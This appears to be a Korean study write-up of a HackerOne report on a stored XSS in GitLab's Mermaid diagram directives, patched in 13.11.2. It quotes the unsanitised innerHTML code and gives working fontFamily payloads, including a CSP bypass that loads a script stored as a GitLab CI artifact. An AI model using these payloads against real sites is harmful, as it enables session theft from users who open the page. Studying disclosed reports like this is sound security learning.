본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
-분석 레포트-
https://hackerone.com/reports/1103258
Prologue
깃랩은 사용자가 텍스트로부터 다이어그램과 순서도를 생성할 수 있도록, GFM의 일부로 Mermaid를 지원한다. 버전 xxx에서는 다이어그램에 적용된 스타일(테마)에 대한 더 많은 제어 기능을 추가하기 위해 지시어 지원이 추가되었다.
지시어를 선언하는 구문은 %%{init:{<json_object>}}%% 이다. 지시어를 사용하여 fontFamily 또는 fontSize와 같은 기본 테마 속성을 그래프에 덮어쓸 수 있다. 백그라운드에서 라이브러리는 지시어에서 JSON_OBJECT를 가져와 구성 객체와 병합한다. 나중에 해당 구성은 새 CSS 규칙을 생성하는데 사용된다.
let userStyles = '';
// user provided theme CSS
if (cnf.themeCSS !== undefined) {
userStyles += `\n${cnf.themeCSS}`;
}
// user provided theme CSS
if (cnf.fontFamily !== undefined) {
userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
}
// user provided theme CSS
if (cnf.altFontFamily !== undefined) {
userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`;
}
vulnerability description
사용자가 제공한 값은 나중에 innerHTML 메서드를 통해 스타일 태그에 추가되는데, 이 값에 대한 살균 처리가 없다.
const stylis = new Stylis();
const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables));
const style1 = document.createElement('style');
style1.innerHTML = rules;
svg.insertBefore(style1, firstChild);
아래 지시문을 통해 XSS 취약점으로 이어질 수 있다.
%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
Steps to Reproduce
1. issue를 레포지토리에 생성한다.
2. 아래 payload를 통해 mermaid diagram을 생성한다.
%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
3. 해당 issue가 있는 페이지를 사용자가 열 때마다, xss가 트리거 될 것이다.
위 그림 1을 통해 CSP 에러가 발생한 것을 볼 수 있다.
위 CSP를 우회하는 방법은 아래와 같다. payload가 내부 HTML을 통해 <style> 태그에 삽입되기 때문에 난이도가 있지만, XSS 공격을 수행하는 데 필요한 모든 단계를 설명해본다. 우선, 실행하고자 하는 JS 코드를 gitlab.com 에 저장해놔야 한다. 또한 응답에 유효한 컨텐츠 타입 ( application/javascript )이 반환되어야 한다. 이는 CI/CD 작업 아티팩트를 사용하여 달성할 수 있다.
1. 먼저 새로운 project를 생성한다.
2. victim의 브라우저에서 생성될 payload.js 파일을 생성한다. [ alert(document.cookie) ]
3. 아래 content로 gitlab-ci.yml 파일을 생성한다.
js:
script: "echo test"
artifacts:
paths:
- payload.js
expire_in: 4 week
<< 위 yml은 아래와 같이 해석된다. >>
js : 는 javascript 프로젝트의 빌드 및 스크립트 실행을 정의한다.
script : 이 단계에서는 실행할 스크립트 또는 명령을 지정한다. 여기서는 test를 출력하는 스크립트를 실행한다.
artifacts : 빌드 결과물에 대한 설정이다.
paths : 생성된 파일 중 저장할 파일 경로를 지정하는데, 여기서는 payload.js 파일이 저장될 것이다.
expire_in : 4주동안 보존됨을 의미한다.
Gitlab CI가 트리거되고, 작업 아티팩트가 생성된다.
4. Gitlab CI가 작업을 완료하는 동안 잠시 기다렸다가 "CI/CD" -> "작업" -> 최신 작업 -> 작업 아티팩트로 이동한다.
gitlab.com/<user>/csp/-/jobs/<job_id>/artifacts/raw/payload.js 이와 같이 payload.js를 다운로드 할 수 있는 링크가 표시된다.
5. 위 3단계의 스크립트를 사용하여 CSP를 우회할 수 있으므로, gitlab.com에서 스크립트를 포함할 수 있다. 스크립트를 동적으로 포함하려면 srcodc 속성과 함께 iframe을 사용하면 된다.
<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/<user>/asdf/-/jobs/<job_id>/artifacts/raw/payload.js> </script>\">
그러나 페이로드가 내부 HTML을 통해 <style> 태그에 삽입되므로 브라우저는 iframe을 구문 분석하지 않아 스크립트가 포함되지 않는다. 아래 payload에서 볼 수 있듯이 <title>태그를 추가하니 스크립트가 작동하는 것을 확인가능했다.
( 그 이유는 잘 모르겠습니다.. 제보자도 근본 원인은 모르겠다고 기재하긴 했습니다... )
%%{init: { 'fontFamily': '<title><iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js> </script>\">'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
대응
Mermaid의 업그레이드 및 GitLab 버전 13.11.2 패치로 완화조치 되었다.